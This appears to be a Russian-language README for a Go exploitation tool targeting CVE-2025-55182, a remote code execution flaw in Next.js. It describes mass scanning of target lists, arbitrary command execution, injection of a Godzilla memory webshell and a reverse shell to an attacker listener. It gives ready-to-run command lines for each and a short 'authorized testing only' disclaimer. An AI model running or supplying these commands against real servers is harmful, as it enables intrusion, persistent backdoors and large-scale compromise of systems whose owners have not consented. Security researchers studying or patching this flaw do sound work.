CVE-2025-55182 Next.js RCE Scanner

Инструмент для сканирования и эксплуатации уязвимости CVE-2025-55182 – удалённого выполнения кода в приложениях Next.js. Поддерживает массовое обнаружение, выполнение команд, инъекцию память-шелла Godzilla и обратный шелл.

⚠️ Данный инструмент предназначен исключительно для исследований безопасности и авторизованного тестирования. Не используйте его в незаконных целях.

Особенности

• Сканирование нескольких целей: поддерживает одиночный URL, список URL в файле (по одному на строку) и папку, содержащую несколько .txt файлов.
• Многопоточность: настраиваемое количество потоков для повышения эффективности.
• Проверка уязвимости: верификация через анализ произведения случайных чисел.
• Выполнение команд: произвольные системные команды на уязвимой цели (поддерживаются Linux и Windows).
• Инъекция память-шелла Godzilla: однокнопочное создание информации для подключения Godzilla.
• Обратный шелл: поддержка функции обратного шелла.
• Сохранение результатов: автоматическое сохранение успешно использованных URL и подробностей в success.json, с возможностью вывода списка уязвимых URL в указанный файл.
• Поддержка прокси: настраиваемый HTTP-прокси для интеграции с Burp Suite и другими инструментами.
• Индикатор прогресса: отображение текущего прогресса, затраченного времени, оценочного оставшегося времени и т.д.

[]

Установка

Предварительные требования

• Go 1.16 или новее
• Git

Клонирование репозитория

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

Компиляция

go build -o cve-2025-55182 main.go

Запуск

./cve-2025-55182 -h

Использование

Параметры

Примеры

Сканирование одной цели

./cve-2025-55182 -u http://target.com:3000

Пакетное сканирование целей из файла

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

Выполнение команды

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

Использование память-шелла Godzilla

./cve-2025-55182 -u http://target.com:3000 -g

После успешной инъекции инструмент выведет адрес подключения Godzilla, пароль, ключ и информацию о заголовке запроса.

Обратный шелл

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

Включение прокси

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

Пояснение к выводу

• success.json – автоматически сохраняет подробную информацию обо всех успешно эксплуатированных целях (включая вывод команд, конфигурацию Godzilla и т.д.).
• Файл, указанный через -o – сохраняет список уязвимых URL (по одному на строку).

Во время сканирования в реальном времени отображается индикатор прогресса и найденные уязвимости. В конце выводятся статистические данные.

Примечания

1. Убедитесь, что у вас есть разрешение – сканирование или атака на чужие системы без авторизации является незаконной.
2. Использование прокси – если необходимо просматривать трафик через Burp Suite, используйте параметр -p для задания прокси.
3. Подключение Godzilla – после успешной инъекции используйте клиент Godzilla для подключения. Обратите внимание, что пароль и ключ генерируются случайным образом.
4. Настройка таймаута – для целей с плохим сетевым соединением можно увеличить значение параметра -to.

Отказ от ответственности

Данный инструмент предназначен только для исследований безопасности и авторизованного тестирования. Пользователь несёт полную юридическую ответственность. Разработчик не несёт ответственности за любое неправомерное использование.

License

MIT